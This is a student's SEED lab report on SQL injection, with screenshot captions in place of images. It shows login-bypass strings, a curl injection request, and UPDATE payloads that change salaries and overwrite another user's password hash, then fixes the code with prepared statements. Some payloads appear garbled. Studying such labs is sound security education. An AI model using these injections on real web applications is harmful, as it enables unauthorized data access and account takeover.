CS458

SHIQI LIU

**SQL Injection Attack Lab**

1. **Lab Overview**

SQL injection is a code injection technique that exploits the vulnerabilities in the interface between web applications and database servers. The vulnerability is present when user’s inputs are not correctly checked within the web applications before being sent to the back-end database servers.

In this lab, I’m interested in finding ways to exploit the SQL injection vulnerabilities, demonstrate the damage that can be achieved by the attack, and master the techniques that can help defend against such type of attacks.

This lab covers the following topics:

• SQL statement: SELECT and UPDATE statements

• SQL injection

• Prepared statement

1. **Lab Environment**

This lab has been tested on our pre-built Ubuntu 16.04 VM, which can be downloaded from the SEED website.

We have developed a web application for this lab. The folder where the application is installed and the URL to access this web application are described in the following:

URL: <http://www.SEEDLabSQLInjection.com>

Folder: /var/www/SQLInjection/

1. **Lab task**

**3.1 Task 1: Get Familiar with SQL Statements**

The objective of this task is to get familiar with SQL commands by playing with the provided database. Our first goal is to connect to the database via MySQL so the Virtual Machine can access the table.

Text

Description automatically generated

Load the existing database: mysql> use Users;

Print out all the tables: mysql>show tables;

Text

Description automatically generated

Then, we need to use SQL command to print all the profile information of the employee Alice.

We use the following command to get all information:

1. mysql> select \* from credential where name='Alice';

Timeline

Description automatically generated

**3.2 Task 2: SQL Injection Attack on SELECT Statement**

* **Task 3.2.1: SQL Injection Attack from webpage.**

we type in admin’ # to access the admin account, which revals all of the data in the credentials table

1. $input\_uname = $\_GET[’username’];
2. $input\_pwd = $\_GET[’Password’];
3. $hashed\_pwd = sha1($input\_pwd); ...
4. $sql = "SELECT id, name, eid, salary, birth, ssn, address, email, nickname, Password FROM credential WHERE name= ’$input\_uname’ and Password=’$hashed\_pwd’";
5. $result = $conn -> query($sql);

Graphical user interface, application, website

Description automatically generated

Table

Description automatically generated

From the code we have, we are able to use amin’# as username, therefore, we can see the information of all the employees.

* **Task 3.2.2: SQL Injection Attack from command line**

Text

Description automatically generated

According to example Alice, I use following command to get information.

* [11/05/20]seed@VM:~$ curl 'www.seedlabsqlinjection.com/unsafe\_home.php?username=admin%28+--+&Password='

A screenshot of a newspaper

Description automatically generated

Therefore, we can see the information in the terminal.

* **Task 3.2.3: Append a new SQL statement**

Using the following command into username

* ' 1=1;Delete from credential where name = 'Ted';#

Graphical user interface, text, application, chat or text message

Description automatically generated

Text, letter

Description automatically generated

We failed when using this condition.

In my observation, task 2.3 is not due to the database using is MYSQL, because it doesn’t allow to execute two queries sequentially in the same query function. Therefore, by using semicolon (;) doesn’t work to split one statement into two statements.

**3.3 Task 3: SQL Injection Attack on UPDATE Statement**

* **Task 3.3.1: Modify your own salary.**

First, login to Alice’s account, we can see the salary is 20000

Graphical user interface, application

Description automatically generated Table

Description automatically generated

﻿

We go to the “Edit Profile” page and put the following command in to Nickname

*',salary=500000 where EID =10000;#*

Graphical user interface

Description automatically generated Table

Description automatically generated

* **Task 3.3.2: Modify other people’ salary**

First, we check Boby’s profile

Graphical user interface, application

Description automatically generated Table

Description automatically generated

We know Boby’s salary is 30000 now

We want to modify Boby’s salary so we login to Alice’s account, and enter the following command:

*',salary=1 where name =’Boby’;#*

Graphical user interface, text, application

Description automatically generated Table

Description automatically generated

* **Task 3.3.3: Modify other people’ password.**

I am trying to modify Boby’s password to “﻿shiqi-cs458”

First, I hash the new password with following steps:



﻿

Then, using following command to change the password

*',password='﻿ab3e6f24764967633fd401f83562c7925953efb8' where name='Boby';#*

Graphical user interface, application

Description automatically generated

Then, we check in terminal by using select \* from credential where name =’Boby’;

Timeline

Description automatically generated

Finally, we use new password to login Boby’s account.

Graphical user interface, application

Description automatically generated

Modify successfully!

**3.4 Task 4: Countermeasure — Prepared Statement**

First, we go to terminal open SQLInjection folder as following command

*﻿~$ cd /var/www/SQLInjection/*

And open safe\_home and unsafe\_home both php file in sublime

*Text

Description automatically generated*

In Safe\_home.php, we find these sql command. Copy and paste in unsafe\_home.php

Graphical user interface, text

Description automatically generated

In unsafe\_home.php, we delete the codes before line 83 if(), after line 71 create a connection. And paste codes from safe\_home.php

Text

Description automatically generated

Then, the password for scene is going to be dees. Therefore, we save all the changes.

Graphical user interface, text, application

Description automatically generated

Text

Description automatically generated

Finally, we check on website. Enter *admin’#* in Username.

Graphical user interface, application

Description automatically generated

And we will find there is an error, we failed in this case.

A picture containing text

Description automatically generated